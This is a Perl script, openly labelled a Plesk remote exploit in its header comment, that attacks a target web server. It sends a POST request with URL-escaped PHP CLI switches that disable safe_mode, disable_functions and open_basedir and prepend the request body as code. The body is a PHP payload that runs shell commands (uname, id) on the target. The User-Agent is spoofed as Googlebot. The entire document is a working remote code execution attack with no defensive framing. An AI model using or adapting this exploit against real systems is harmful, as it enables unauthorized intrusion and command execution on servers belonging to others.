#plesk remote exploit by kingcope
#all your base belongs to me :>
use strict;
use warnings;
use IO::Socket;
use URI::Escape;
main {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
	PeerPort => 80,
	Proto    => 'tcp') or die "OH GOD HOW DID THIS GET HERE I AM NOT GOOD WITH SOCKETS";
my $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
my $arguments = uri_escape("-d","\0-\377"). "+" . 
	uri_escape("allow_url_include=on","\0-\377"). "+" .
	uri_escape("-d","\0-\377"). "+" .
	uri_escape("safe_mode=off","\0-\377"). "+" .
	uri_escape("-d","\0-\377"). "+" .
	uri_escape("suhosin.simulation=on","\0-\377"). "+" .
	uri_escape("-d","\0-\377"). "+" .
	uri_escape("disable_functions=\"\"","\0-\377"). "+" .
	uri_escape("-d","\0-\377"). "+" . 
	uri_escape("open_basedir=none","\0-\377"). "+" .
	uri_escape("-d","\0-\377"). "+" .
	uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
	uri_escape("-n","\0-\377");
my $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
print $sock "POST /$path?$arguments HTTP/1.1\r\n"
	."Host: $ARGV[0]\r\n"
	."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n"
	."Content-Type: application/x-www-form-urlencoded\r\n"
	."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
while(<$sock>) {
	print;
	}
}
&main();